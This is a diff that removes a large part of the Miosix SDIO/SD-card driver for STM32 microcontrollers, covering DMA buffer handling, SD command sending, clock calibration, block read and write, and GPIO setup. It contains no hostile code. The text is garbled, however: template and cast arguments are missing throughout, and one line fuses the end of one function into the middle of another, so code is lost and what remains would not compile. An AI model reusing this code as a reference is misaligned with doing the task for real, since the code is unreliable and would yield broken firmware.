* Example 33=3.3v - */ -//static const unsigned char sdVoltage=33; //Is defined in board_settings.h -static const unsigned int sdVoltageMask=1<<(sdVoltage-13); //See OCR reg in SD spec - -/** - * \internal - * Possible state of the cardType variable. - */ -enum CardType -{ - Invalid=0, ///<\internal Invalid card type - MMC=1<<0, ///<\internal if(cardType==MMC) card is an MMC - SDv1=1<<1, ///<\internal if(cardType==SDv1) card is an SDv1 - SDv2=1<<2, ///<\internal if(cardType==SDv2) card is an SDv2 - SDHC=1<<3 ///<\internal if(cardType==SDHC) card is an SDHC -}; - -///\internal Type of card. -static CardType cardType=Invalid; - -//SD card GPIOs -//TODO: expose gpio selection to the BSPs... -#if (defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7)) && SD_SDMMC==2 -typedef Gpio sdD0; -typedef Gpio sdD1; -typedef Gpio sdD2; -typedef Gpio sdD3; -typedef Gpio sdCLK; -typedef Gpio sdCMD; -#elif defined(_BOARD_STM32F411CE_BLACKPILL) -typedef Gpio sdD0; -typedef Gpio sdD1; -typedef Gpio sdD2; -typedef Gpio sdD3; -typedef Gpio sdCLK; -typedef Gpio sdCMD; -#else -typedef Gpio sdD0; -typedef Gpio sdD1; -typedef Gpio sdD2; -typedef Gpio sdD3; -typedef Gpio sdCLK; -typedef Gpio sdCMD; -#endif - - -// -// Class BufferConverter -// - -/** - * \internal - * After fixing the FSMC bug in the stm32f1, ST decided to willingly introduce - * another quirk in the stm32f4. They introduced a core coupled memory that is - * not accessible by the DMA. While from an hardware perspective it may make - * sense, it is a bad design decision when viewed from the software side. - * This is because if application code allocates a buffer in the core coupled - * memory and passes that to an fread() or fwrite() call, that buffer is - * forwarded here, and this driver is DMA-based... Now, in an OS such as Miosix - * that tries to shield the application developer from such quirks, it is - * unacceptable to fail to work in such an use case, so this class exists to - * try and work around this. - * In essence, the first "bad buffer" that is passed to a readBlock() or - * writeBlock() causes the allocation on the heap (which Miosix guarantees - * is not allocated in the core coupled memory) of a 512 byte buffer which is - * then never deallocated and always reused to deal with these bad buffers. - * While this works, performance suffers for two reasons: first, when dealing - * with those bad buffers, the filesystem code is no longer zero copy, and - * second because multiple block read/writes between bad buffers and the SD - * card are implemented as a sequence of single block read/writes. - * If you're an application developer and care about speed, try to allocate - * your buffers in the heap if you're coding for the STM32F4. - */ -class BufferConverter -{ -public: - /** - * \internal - * The buffer will be of this size only. - */ - static const int BUFFER_SIZE=512; - - /** - * \internal - * \return true if the pointer is not inside the CCM - */ - static bool isGoodBuffer(const void *x) - { - unsigned int ptr=reinterpret_cast(x); - return (ptr<0x10000000) || (ptr>=(0x10000000+64*1024)); - } - - /** - * \internal - * Convert from a constunsigned char* buffer of size BUFFER_SIZE to a - * const unsigned int* word aligned buffer. - * If the original buffer is already word aligned it only does a cast, - * otherwise it copies the data on the original buffer to a word aligned - * buffer. Useful if subseqent code will read from the buffer. - * \param a buffer of size BUFFER_SIZE. Can be word aligned or not. - * \return a word aligned buffer with the same data of the given buffer - */ - static const unsigned char *toWordAligned(const unsigned char *buffer); - - /** - * \internal - * Convert from an unsigned char* buffer of size BUFFER_SIZE to an - * unsigned int* word aligned buffer. - * If the original buffer is already word aligned it only does a cast, - * otherwise it returns a new buffer which *does not* contain the data - * on the original buffer. Useful if subseqent code will write to the - * buffer. To move the written data to the original buffer, use - * toOriginalBuffer() - * \param a buffer of size BUFFER_SIZE. Can be word aligned or not. - * \return a word aligned buffer with undefined content. - */ - static unsigned char *toWordAlignedWithoutCopy(unsigned char *buffer); - - /** - * \internal - * Convert the buffer got through toWordAlignedWithoutCopy() to the - * original buffer. If the original buffer was word aligned, nothing - * happens, otherwise a memcpy is done. - * Note that this function does not work on buffers got through - * toWordAligned(). - */ - static void toOriginalBuffer(); - - /** - * \internal - * Can be called to deallocate the buffer - */ - static void deallocateBuffer(); - -private: - static unsigned char *originalBuffer; - static unsigned char *wordAlignedBuffer; -}; - -const unsigned char *BufferConverter::toWordAligned(const unsigned char *buffer) -{ - originalBuffer=0; //Tell toOriginalBuffer() that there's nothing to do - if(isGoodBuffer(buffer)) - { - return buffer; - } else { - if(wordAlignedBuffer==0) - wordAlignedBuffer=new unsigned char[BUFFER_SIZE]; - std::memcpy(wordAlignedBuffer,buffer,BUFFER_SIZE); - return wordAlignedBuffer; - } -} - -unsigned char *BufferConverter::toWordAlignedWithoutCopy( - unsigned char *buffer) -{ - if(isGoodBuffer(buffer)) - { - originalBuffer=0; //Tell toOriginalBuffer() that there's nothing to do - return buffer; - } else { - originalBuffer=buffer; //Save original pointer for toOriginalBuffer() - if(wordAlignedBuffer==0) - wordAlignedBuffer=new unsigned char[BUFFER_SIZE]; - return wordAlignedBuffer; - } -} - -void BufferConverter::toOriginalBuffer() -{ - if(originalBuffer==0) return; - std::memcpy(originalBuffer,wordAlignedBuffer,BUFFER_SIZE); - originalBuffer=0; -} - -void BufferConverter::deallocateBuffer() -{ - originalBuffer=0; //Invalidate also original buffer - if(wordAlignedBuffer!=0) - { - delete[] wordAlignedBuffer; - wordAlignedBuffer=0; - } -} - -unsigned char *BufferConverter::originalBuffer=0; -unsigned char *BufferConverter::wordAlignedBuffer=0; - -// -// Class CmdResult -// - -/** - * \internal - * Contains the result of an SD/MMC command - */ -class CmdResult -{ -public: - - /** - * \internal - * Possible outcomes of sending a command - */ - enum Error - { - Ok=0, /// No errors - Timeout, /// Timeout while waiting command reply - CRCFail, /// CRC check failed in command reply - RespNotMatch,/// Response index does not match command index - ACMDFail /// Sending CMD55 failed - }; - - /** - * \internal - * Default constructor - */ - CmdResult(): cmd(0), error(Ok), response(0) {} - - /** - * \internal - * Constructor, set the response data - * \param cmd command index of command that was sent - * \param result result of command - */ - CmdResult(unsigned char cmd, Error error): cmd(cmd), error(error), - response(SDIO->RESP1) {} - - /** - * \internal - * \return the 32 bit of the response. - * May not be valid if getError()!=Ok or the command does not send a - * response, such as CMD0 - */ - unsigned int getResponse() { return response; } - - /** - * \internal - * \return command index - */ - unsigned char getCmdIndex() { return cmd; } - - /** - * \internal - * \return the error flags of the response - */ - Error getError() { return error; } - - /** - * \internal - * Checks if errors occurred while sending the command. - * \return true if no errors, false otherwise - */ - bool validateError(); - - /** - * \internal - * interprets this->getResponse() as an R1 response, and checks if there are - * errors, or everything is ok - * \return true on success, false on failure - */ - bool validateR1Response(); - - /** - * \internal - * Same as validateR1Response, but can be called with interrupts disabled. - * \return true on success, false on failure - */ - bool IRQvalidateR1Response(); - - /** - * \internal - * interprets this->getResponse() as an R6 response, and checks if there are - * errors, or everything is ok - * \return true on success, false on failure - */ - bool validateR6Response(); - - /** - * \internal - * \return the card state from an R1 or R6 resonse - */ - unsigned char getState(); - -private: - unsigned char cmd; ///<\internal Command index that was sent - Error error; ///<\internal possible error that occurred - unsigned int response; ///<\internal 32bit response -}; - -bool CmdResult::validateError() -{ - switch(error) - { - case Ok: - return true; - case Timeout: - DBGERR("CMD%d: Timeout\n",cmd); - break; - case CRCFail: - DBGERR("CMD%d: CRC Fail\n",cmd); - break; - case RespNotMatch: - DBGERR("CMD%d: Response does not match\n",cmd); - break; - case ACMDFail: - DBGERR("CMD%d: ACMD Fail\n",cmd); - break; - } - return false; -} - -bool CmdResult::validateR1Response() -{ - if(error!=Ok) return validateError(); - //Note: this number is obtained with all the flags of R1 which are errors - //(flagged as E in the SD specification), plus CARD_IS_LOCKED because - //locked card are not supported by this software driver - if((response & 0xfff98008)==0) return true; - DBGERR("CMD%d: R1 response error(s):\n",cmd); - if(response & (1<<31)) DBGERR("Out of range\n"); - if(response & (1<<30)) DBGERR("ADDR error\n"); - if(response & (1<<29)) DBGERR("BLOCKLEN error\n"); - if(response & (1<<28)) DBGERR("ERASE SEQ error\n"); - if(response & (1<<27)) DBGERR("ERASE param\n"); - if(response & (1<<26)) DBGERR("WP violation\n"); - if(response & (1<<25)) DBGERR("card locked\n"); - if(response & (1<<24)) DBGERR("LOCK_UNLOCK failed\n"); - if(response & (1<<23)) DBGERR("command CRC failed\n"); - if(response & (1<<22)) DBGERR("illegal command\n"); - if(response & (1<<21)) DBGERR("ECC fail\n"); - if(response & (1<<20)) DBGERR("card controller error\n"); - if(response & (1<<19)) DBGERR("unknown error\n"); - if(response & (1<<16)) DBGERR("CSD overwrite\n"); - if(response & (1<<15)) DBGERR("WP ERASE skip\n"); - if(response & (1<<3)) DBGERR("AKE_SEQ error\n"); - return false; -} - -bool CmdResult::IRQvalidateR1Response() -{ - if(error!=Ok) return false; - if(response & 0xfff98008) return false; - return true; -} - -bool CmdResult::validateR6Response() -{ - if(error!=Ok) return validateError(); - if((response & 0xe008)==0) return true; - DBGERR("CMD%d: R6 response error(s):\n",cmd); - if(response & (1<<15)) DBGERR("command CRC failed\n"); - if(response & (1<<14)) DBGERR("illegal command\n"); - if(response & (1<<13)) DBGERR("unknown error\n"); - if(response & (1<<3)) DBGERR("AKE_SEQ error\n"); - return false; -} - -unsigned char CmdResult::getState() -{ - unsigned char result=(response>>9) & 0xf; - DBG("CMD%d: State: ",cmd); - switch(result) - { - case 0: DBG("Idle\n"); break; - case 1: DBG("Ready\n"); break; - case 2: DBG("Ident\n"); break; - case 3: DBG("Stby\n"); break; - case 4: DBG("Tran\n"); break; - case 5: DBG("Data\n"); break; - case 6: DBG("Rcv\n"); break; - case 7: DBG("Prg\n"); break; - case 8: DBG("Dis\n"); break; - case 9: DBG("Btst\n"); break; - default: DBG("Unknown\n"); break; - } - return result; -} - -// -// Class Command -// - -/** - * \internal - * This class allows sending commands to an SD or MMC - */ -class Command -{ -public: - - /** - * \internal - * SD/MMC commands - * - bit #7 is @ 1 if a command is an ACMDxx. send() will send the - * sequence CMD55, CMDxx - * - bit from #0 to #5 indicate command index (CMD0..CMD63) - * - bit #6 is don't care - */ - enum CommandType - { - CMD0=0, //GO_IDLE_STATE - CMD2=2, //ALL_SEND_CID - CMD3=3, //SEND_RELATIVE_ADDR - ACMD6=0x80 | 6, //SET_BUS_WIDTH - CMD7=7, //SELECT_DESELECT_CARD - ACMD41=0x80 | 41, //SEND_OP_COND (SD) - CMD8=8, //SEND_IF_COND - CMD9=9, //SEND_CSD - CMD12=12, //STOP_TRANSMISSION - CMD13=13, //SEND_STATUS - CMD16=16, //SET_BLOCKLEN - CMD17=17, //READ_SINGLE_BLOCK - CMD18=18, //READ_MULTIPLE_BLOCK - ACMD23=0x80 | 23, //SET_WR_BLK_ERASE_COUNT (SD) - CMD24=24, //WRITE_BLOCK - CMD25=25, //WRITE_MULTIPLE_BLOCK - CMD55=55 //APP_CMD - }; - - /** - * \internal - * Send a command. - * \param cmd command index (CMD0..CMD63) or ACMDxx command - * \param arg the 32 bit argument to the command - * \return a CmdResult object - */ - static CmdResult send(CommandType cmd, unsigned int arg); - - /** - * \internal - * Set the relative card address, obtained during initialization. - * \param r the card's rca - */ - static void setRca(unsigned short r) { rca=r; } - - /** - * \internal - * \return the card's rca, as set by setRca - */ - static unsigned int getRca() { return static_cast(rca); } - -private: - static unsigned short rca;///<\internal Card's relative address -}; - -CmdResult Command::send(CommandType cmd, unsigned int arg) -{ - unsigned char cc=static_cast(cmd); - //Handle ACMDxx as CMD55, CMDxx - if(cc & 0x80) - { - DBG("ACMD%d\n",cc & 0x3f); - CmdResult r=send(CMD55,(static_cast(rca))<<16); - if(r.validateR1Response()==false) - return CmdResult(cc & 0x3f,CmdResult::ACMDFail); - //Bit 5 @ 1 = next command will be interpreted as ACMD - if((r.getResponse() & (1<<5))==0) - return CmdResult(cc & 0x3f,CmdResult::ACMDFail); - } else DBG("CMD%d\n",cc & 0x3f); - - //Send command - cc &= 0x3f; - unsigned int command=SDIO_CMD_CPSMEN | static_cast(cc); - if(cc!=CMD0) command |= SDIO_CMD_WAITRESP_0; //CMD0 has no response - if(cc==CMD2) command |= SDIO_CMD_WAITRESP_1; //CMD2 has long response - if(cc==CMD9) command |= SDIO_CMD_WAITRESP_1; //CMD9 has long response - SDIO->ARG=arg; - SDIO->CMD=command; - - //CMD0 has no response, so wait until it is sent - if(cc==CMD0) - { - for(int i=0;i<500;i++) - { - if(SDIO->STA & SDIO_STA_CMDSENT) - { - SDIO->ICR=ICR_FLAGS_CLR;//Clear flags - return CmdResult(cc,CmdResult::Ok); - } - delayUs(1); - } - SDIO->ICR=ICR_FLAGS_CLR;//Clear flags - return CmdResult(cc,CmdResult::Timeout); - } - - //Command is not CMD0, so wait a reply - for(int i=0;i<500;i++) - { - unsigned int status=SDIO->STA; - if(status & SDIO_STA_CMDREND) - { - SDIO->ICR=ICR_FLAGS_CLR;//Clear flags - if(SDIO->RESPCMD==cc) return CmdResult(cc,CmdResult::Ok); - else return CmdResult(cc,CmdResult::RespNotMatch); - } - if(status & SDIO_STA_CCRCFAIL) - { - SDIO->ICR=SDIO_ICR_CCRCFAILC; - return CmdResult(cc,CmdResult::CRCFail); - } - if(status & SDIO_STA_CTIMEOUT) break; - delayUs(1); - } - SDIO->ICR=SDIO_ICR_CTIMEOUTC; - return CmdResult(cc,CmdResult::Timeout); -} - -unsigned short Command::rca=0; - -// -// Class ClockController -// - -/** - * \internal - * This class controls the clock speed of the SDIO peripheral. It originated - * from a previous version of this driver, where the SDIO was used in polled - * mode instead of DMA mode, but has been retained to improve the robustness - * of the driver. - */ -class ClockController -{ -public: - - /** - * \internal. Set a low clock speed of 400KHz or less, used for - * detecting SD/MMC cards. This function as a side effect enables 1bit bus - * width, and disables clock powersave, since it is not allowed by SD spec. - */ - static void setLowSpeedClock() - { - clockReductionAvailable=0; - // No hardware flow control, SDIO_CK generated on rising edge, 1bit bus - // width, no clock bypass, no powersave. - // Set low clock speed 400KHz - SDIO->CLKCR=CLOCK_400KHz | SDIO_CLKCR_CLKEN; - SDIO->DTIMER=240000; //Timeout 600ms expressed in SD_CK cycles - } - - /** - * \internal - * Automatically select the data speed. This routine selects the highest - * sustainable data transfer speed. This is done by binary search until - * the highest clock speed that causes no errors is found. - * This function as a side effect enables 4bit bus width, and clock - * powersave. - */ - static void calibrateClockSpeed(SDIODriver *sdio); - - /** - * \internal - * Since clock speed is set dynamically by binary search at runtime, a - * corner case might be that of a clock speed which results in unreliable - * data transfer, that sometimes succeeds, and sometimes fail. - * For maximum robustness, this function is provided to reduce the clock - * speed slightly in case a data transfer should fail after clock - * calibration. To avoid inadvertently considering other kind of issues as - * clock issues, this function can be called only MAX_ALLOWED_REDUCTIONS - * times after clock calibration, subsequent calls will fail. This will - * avoid other issues causing an ever decreasing clock speed. - * \return true on success, false on failure - */ - static bool reduceClockSpeed(); - - /** - * \internal - * Read and write operation do retry during normal use for robustness, but - * during clock claibration they must not retry for speed reasons. This - * member function returns 1 during clock claibration and MAX_RETRY during - * normal use. - */ - static unsigned char getRetryCount() { return retries; } - -private: - /** - * Set SDIO clock speed - * \param clkdiv speed is SDIOCLK/(clkdiv+2) - */ - static void setClockSpeed(unsigned int clkdiv); - - static const unsigned int SDIOCLK=48000000; //On stm32f2 SDIOCLK is always 48MHz - static const unsigned int CLOCK_400KHz=118; //48MHz/(118+2)=400KHz - #ifdef OVERRIDE_SD_CLOCK_DIVIDER_MAX - //Some boards using SDRAM cause SDIO TX Underrun occasionally - static const unsigned int CLOCK_MAX=OVERRIDE_SD_CLOCK_DIVIDER_MAX; - #else //OVERRIDE_SD_CLOCK_DIVIDER_MAX - static const unsigned int CLOCK_MAX=0; //48MHz/(0+2) =24MHz - #endif //OVERRIDE_SD_CLOCK_DIVIDER_MAX - - #ifdef SD_ONE_BIT_DATABUS - ///\internal Clock enabled, bus width 1bit, clock powersave enabled. - static const unsigned int CLKCR_FLAGS=SDIO_CLKCR_CLKEN | SDIO_CLKCR_PWRSAV; - #else //SD_ONE_BIT_DATABUS - ///\internal Clock enabled, bus width 4bit, clock powersave enabled. - static const unsigned int CLKCR_FLAGS=SDIO_CLKCR_CLKEN | - SDIO_CLKCR_WIDBUS_0 | SDIO_CLKCR_PWRSAV; - #endif //SD_ONE_BIT_DATABUS - - ///\internal Maximum number of calls to IRQreduceClockSpeed() allowed - static const unsigned char MAX_ALLOWED_REDUCTIONS=1; - - ///\internal value returned by getRetryCount() while *not* calibrating clock. - static const unsigned char MAX_RETRY=10; - - ///\internal Used to allow only one call to reduceClockSpeed() - static unsigned char clockReductionAvailable; - - ///\internal value returned by getRetryCount() - static unsigned char retries; -}; - -void ClockController::calibrateClockSpeed(SDIODriver *sdio) -{ - //During calibration we call readBlock() which will call reduceClockSpeed() - //so not to invalidate calibration clock reduction must not be available - clockReductionAvailable=0; - retries=1; - - DBG("Automatic speed calibration\n"); - unsigned int buffer[512/sizeof(unsigned int)]; - unsigned int minFreq=CLOCK_400KHz; - unsigned int maxFreq=CLOCK_MAX; - unsigned int selected; - while(minFreq-maxFreq>1) - { - selected=(minFreq+maxFreq)/2; - DBG("Trying CLKCR=%d\n",selected); - setClockSpeed(selected); - if(sdio->readBlock(reinterpret_cast(buffer),512,0)==512) - minFreq=selected; - else maxFreq=selected; - } - //Last round of algorithm - setClockSpeed(maxFreq); - if(sdio->readBlock(reinterpret_cast(buffer),512,0)==512) - { - DBG("Optimal CLKCR=%d\n",maxFreq); - } else { - setClockSpeed(minFreq); - DBG("Optimal CLKCR=%d\n",minFreq); - } - - //Make clock reduction available - clockReductionAvailable=MAX_ALLOWED_REDUCTIONS; - retries=MAX_RETRY; -} - -bool ClockController::reduceClockSpeed() -{ - DBGERR("clock speed reduction requested\n"); - //Ensure this function can be called only a few times - if(clockReductionAvailable==0) return false; - clockReductionAvailable--; - - unsigned int currentClkcr=SDIO->CLKCR & 0xff; - if(currentClkcr==CLOCK_400KHz) return false; //No lower than this value - - //If the value of clockcr is low, increasing it by one is enough since - //frequency changes a lot, otherwise increase by 2. - if(currentClkcr<10) currentClkcr++; - else currentClkcr+=2; - - setClockSpeed(currentClkcr); - return true; -} - -void ClockController::setClockSpeed(unsigned int clkdiv) -{ - #ifndef SD_KEEP_CARD_SELECTED - SDIO->CLKCR=clkdiv | CLKCR_FLAGS; - #else //SD_KEEP_CARD_SELECTED - SDIO->CLKCR=clkdiv | CLKCR_FLAGS | SDIO_CLKCR_HWFC_EN; - #endif //SD_KEEP_CARD_SELECTED - //Timeout 600ms expressed in SD_CK cycles - SDIO->DTIMER=(6*SDIOCLK)/((clkdiv+2)*10); -} - -unsigned char ClockController::clockReductionAvailable=false; -unsigned char ClockController::retries=ClockController::MAX_RETRY; - -// -// Data send/receive functions -// - -/** - * \internal - * Wait until the card is ready for data transfer. - * Can be called independently of the card being selected. - * \return true on success, false on failure - */ -static bool waitForCardReady() -{ - //The card may remain busy for up to 500ms and there appears to be no way - //to set an interrupt to wait until it becomes ready again. We can't just - //poll for that long as if a high priority thread is stuck polling all lower - //priority threads block, so we are forced to do a sleep. The initial value - //of 2ms was found to be impacting performance excessively, so we take - //advantage of high resolution timers by sleeping for 200us, and fallback to - //the previous value only for slow configurations - #if !defined(__CODE_IN_XRAM) - const long long sleepTime=200000; - #else - const long long sleepTime=2000000; - #endif - long long timeout=getTime()+1500000000; //Timeout 1.5 second - do { - CmdResult cr=Command::send(Command::CMD13,Command::getRca()<<16); - if(cr.validateR1Response()==false) return false; - //Bit 8 in R1 response means ready for data. - if(cr.getResponse() & (1<<8)) return true; - Thread::nanoSleep(sleepTime); - } while(getTime()ICR=ICR_FLAGS_CLR; - #if (defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7)) && SD_SDMMC==2 - DMA2->LIFCR = DMA_LIFCR_CTCIF0 - | DMA_LIFCR_CTEIF0 - | DMA_LIFCR_CDMEIF0 - | DMA_LIFCR_CFEIF0; - #else - DMA2->LIFCR = DMA_LIFCR_CTCIF3 - | DMA_LIFCR_CTEIF3 - | DMA_LIFCR_CDMEIF3 - | DMA_LIFCR_CFEIF3; - #endif - - transferError=false; - dmaFlags=sdioFlags=0; - waiting=Thread::getCurrentThread(); - - //Select DMA transfer size based on buffer alignment. Best performance - //is achieved when the buffer is aligned on a 4 byte boundary - switch(reinterpret_cast(buffer) & 0x3) - { - case 0: return DMA_SxCR_MSIZE_1; //DMA reads 32bit at a time - case 2: return DMA_SxCR_MSIZE_0; //DMA reads 16bit at a time - default: return 0; //DMA reads 8bit at a time - } -} - -/** - * \internal - * Read a given number of contiguous 512 byte blocks from an SD/MMC card. - * Card must be selected prior to calling this function. - * \param buffer, a buffer whose size is 512*nblk bytes - * \param nblk number of blocks to read. - * \param lba logical block address of the first block to read. - */ -static bool multipleBlockRead(unsigned char *buffer, unsigned int nblk, - unsigned int lba) -{ - if(nblk==0) return true; - while(nblk>32767) - { - if(multipleBlockRead(buffer,32767,lba)==false) return false; - buffer+=32767*512; - nblk-=32767; - lba+=32767; - } - if(waitForCardReady()==false) return false; - - if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC - - unsigned int memoryTransferSize=dmaTransferCommonSetup(buffer); - - //Data transfer is considered complete once the DMA transfer complete - //interrupt occurs, that happens when the last data was written in the - //buffer. Both SDIO and DMA error interrupts are active to catch errors - int32_t t=SDIO_MASK_RXOVERRIE | //Interrupt on rx underrun - SDIO_MASK_TXUNDERRIE | //Interrupt on tx underrun - SDIO_MASK_DCRCFAILIE | //Interrupt on data CRC fail - SDIO_MASK_DTIMEOUTIE; //Interrupt on data timeout - #ifdef SDIO_MASK_STBITERRIE - t|=SDIO_MASK_STBITERRIE; //Interrupt on start bit error - #endif - SDIO->MASK=t; - DMA_Stream->PAR=reinterpret_cast(&SDIO->FIFO); - DMA_Stream->M0AR=reinterpret_cast(buffer); - //Note: DMA_Stream->NDTR is don't care in peripheral flow control mode - DMA_Stream->FCR = DMA_SxFCR_FEIE //Interrupt on fifo error - | DMA_SxFCR_DMDIS //Fifo enabled - | DMA_SxFCR_FTH_0; //Take action if fifo half full - #if (defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7)) && SD_SDMMC==2 - DMA_Stream->CR = (11 << DMA_SxCR_CHSEL_Pos) //Channel 4 (SDIO) - #else - DMA_Stream->CR = DMA_SxCR_CHSEL_2 //Channel 4 (SDIO) - #endif - | DMA_SxCR_PBURST_0 //4-beat bursts read from SDIO - | DMA_SxCR_PL_0 //Medium priority DMA stream - | memoryTransferSize //RAM data size depends on alignment - | DMA_SxCR_PSIZE_1 //Read 32bit at a time from SDIO - | DMA_SxCR_MINC //Increment RAM pointer - | 0 //Peripheral to memory direction - | DMA_SxCR_PFCTRL //Peripheral is flow controller - | DMA_SxCR_TCIE //Interrupt on transfer complete - | DMA_SxCR_TEIE //Interrupt on transfer error - | DMA_SxCR_DMEIE //Interrupt on direct mode error - | DMA_SxCR_EN; //Start the DMA - - SDIO->DLEN=nblk*512; - if(waiting==0) - { - DBGERR("Premature wakeup\n"); - transferError=true; - } - CmdResult cr=Command::send(nblk>1 ? Command::CMD18 : Command::CMD17,lba); - if(cr.validateR1Response()) - { - //Block size 512 bytes, block data xfer, from card to controller - SDIO->DCTRL=(9<<4) | SDIO_DCTRL_DMAEN | SDIO_DCTRL_DTDIR | SDIO_DCTRL_DTEN; - FastInterruptDisableLock dLock; - while(waiting) - { - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } - } else transferError=true; - DMA_Stream->CR=0; - while(DMA_Stream->CR & DMA_SxCR_EN) ; //DMA may take time to stop - SDIO->DCTRL=0; //Disable data path state machine - SDIO->MASK=0; - - // CMD12 is sent to end CMD18 (multiple block read), or to abort an - // unfinished read in case of errors - if(nblk>1 || transferError) cr=Command::send(Command::CMD12,0); - if(transferError || cr.validateR1Response()==false) - { - displayBlockTransferError(); - ClockController::reduceClockSpeed(); - return false; - } - - //Read ok, deal with cache coherence - markBufferAfterDmaRead(buffer,nblk*512); - return true; -} - -/** - * \internal - * Write a given number of contiguous 512 byte blocks to an SD/MMC card. - * Card must be selected prior to calling this function. - * \param buffer, a buffer whose size is 512*nblk bytes - * \param nblk number of blocks to write. - * \param lba logical block address of the first block to write. - */ -static bool multipleBlockWrite(const unsigned char *buffer, unsigned int nblk, - unsigned int lba) -{ - if(nblk==0) return true; - while(nblk>32767) - { - if(multipleBlockWrite(buffer,32767,lba)==false) return false; - buffer+=32767*512; - nblk-=32767; - lba+=32767; - } - - //Deal with cache coherence - markBufferBeforeDmaWrite(buffer,nblk*512); - - if(waitForCardReady()==false) return false; - - if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC - if(nblk>1) - { - CmdResult cr=Command::send(Command::ACMD23,nblk); - if(cr.validateR1Response()==false) return false; - } - - unsigned int memoryTransferSize=dmaTransferCommonSetup(buffer); - - //Data transfer is considered complete once the SDIO transfer complete - //interrupt occurs, that happens when the last data was written to the SDIO - //Both SDIO and DMA error interrupts are active to catch errors - uint32_t t=SDIO_MASK_DATAENDIE | //Interrupt on data end - SDIO_MASK_RXOVERRIE | //Interrupt on rx underrun - SDIO_MASK_TXUNDERRIE | //Interrupt on tx underrun - SDIO_MASK_DCRCFAILIE | //Interrupt on data CRC fail - SDIO_MASK_DTIMEOUTIE; //Interrupt on data timeout - #ifdef SDIO_MASK_STBITERRIE - t|=SDIO_MASK_STBITERRIE; //Interrupt on start bit error - #endif - SDIO->MASK=t; - DMA_Stream->PAR=reinterpret_cast(&SDIO->FIFO); - DMA_Stream->M0AR=reinterpret_cast(buffer); - //Note: DMA_Stream->NDTR is don't care in peripheral flow control mode - //Quirk: not enabling DMA_SxFCR_FEIE because the SDIO seems to generate - //a spurious fifo error. The code was tested and the transfer completes - //successfully even in the presence of this fifo error - DMA_Stream->FCR = DMA_SxFCR_DMDIS //Fifo enabled - | DMA_SxFCR_FTH_1 //Take action if fifo full - | DMA_SxFCR_FTH_0; -#if (defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7)) && SD_SDMMC==2 - DMA_Stream->CR = (11 << DMA_SxCR_CHSEL_Pos) // Channel 4 (SDIO) -#else - DMA_Stream->CR = DMA_SxCR_CHSEL_2 // Channel 4 (SDIO) -#endif - | DMA_SxCR_PBURST_0 //4-beat bursts write to SDIO - | DMA_SxCR_PL_0 //Medium priority DMA stream - | memoryTransferSize //RAM data size depends on alignment - | DMA_SxCR_PSIZE_1 //Write 32bit at a time to SDIO - | DMA_SxCR_MINC //Increment RAM pointer - | DMA_SxCR_DIR_0 //Memory to peripheral direction - | DMA_SxCR_PFCTRL //Peripheral is flow controller - | DMA_SxCR_TEIE //Interrupt on transfer error - | DMA_SxCR_DMEIE //Interrupt on direct mode error - | DMA_SxCR_EN; //Start the DMA - - SDIO->DLEN=nblk*512; - if(waiting==0) - { - DBGERR("Premature wakeup\n"); - transferError=true; - } - CmdResult cr=Command::send(nblk>1 ? Command::CMD25 : Command::CMD24,lba); - if(cr.validateR1Response()) - { - //Block size 512 bytes, block data xfer, from card to controller - SDIO->DCTRL=(9<<4) | SDIO_DCTRL_DMAEN | SDIO_DCTRL_DTEN; - FastInterruptDisableLock dLock; - while(waiting) - { - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } - } else transferError=true; - DMA_Stream->CR=0; - while(DMA_Stream->CR & DMA_SxCR_EN) ; //DMA may take time to stop - SDIO->DCTRL=0; //Disable data path state machine - SDIO->MASK=0; - - // CMD12 is sent to end CMD25 (multiple block write), or to abort an - // unfinished write in case of errors - if(nblk>1 || transferError) cr=Command::send(Command::CMD12,0); - if(transferError || cr.validateR1Response()==false) - { - displayBlockTransferError(); - ClockController::reduceClockSpeed(); - return false; - } - return true; -} - -// -// Class CardSelector -// - -#ifndef SD_KEEP_CARD_SELECTED -/** - * \internal - * Simple RAII class for selecting an SD/MMC card an automatically deselect it - * at the end of the scope. - */ -class CardSelector -{ -public: - /** - * \internal - * Constructor. Selects the card. - * The result of the select operation is available through its succeded() - * member function - */ - explicit CardSelector() - { - success=Command::send( - Command::CMD7,Command::getRca()<<16).validateR1Response(); - } - - /** - * \internal - * \return true if the card was selected, false on error - */ - bool succeded() { return success; } - - /** - * \internal - * Destructor, ensures that the card is deselected - */ - ~CardSelector() - { - Command::send(Command::CMD7,0); //Deselect card. This will timeout - } - -private: - bool success; -}; -#endif //SD_KEEP_CARD_SELECTED - -// -// Initialization helper functions -// - -/** - * \internal - * Initialzes the SDIO peripheral in the STM32 - */ -static void initSDIOPeripheral() -{ - { - //Doing read-modify-write on RCC->APBENR2 and gpios, better be safe - FastInterruptDisableLock lock; - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOCEN - | RCC_AHB1ENR_GPIODEN - | RCC_AHB1ENR_DMA2EN; - RCC_SYNC(); - RCC->APB2ENR |= RCC_APB2ENR_SDIOEN; - RCC_SYNC(); - #if (defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7)) && SD_SDMMC==2 - sdD0::mode(Mode::ALTERNATE); - sdD0::alternateFunction(11); - #ifndef SD_ONE_BIT_DATABUS - sdD1::mode(Mode::ALTERNATE); - sdD1::alternateFunction(11); - sdD2::mode(Mode::ALTERNATE); - sdD2::alternateFunction(10); - sdD3::mode(Mode::ALTERNATE); - sdD3::alternateFunction(10); - #endif // SD_ONE_BIT_DATABUS - sdCLK::mode(Mode::ALTERNATE); - sdCLK::alternateFunction(11); - sdCMD::mode(Mode::ALTERNATE); - sdCMD::alternateFunction(11); - #else - sdD0::mode(Mode::ALTERNATE); - sdD0::alternateFunction(12); - #ifndef SD_ONE_BIT_DATABUS - sdD1::mode(Mode::ALTERNATE); - sdD1::alternateFunction(12); - sdD2::mode(Mode::ALTERNATE); - sdD2::alternateFunction(12); - sdD3::mode(Mode::ALTERNATE); - sdD3::alternateFunction(12); - #endif // SD_ONE_BIT_DATABUS - 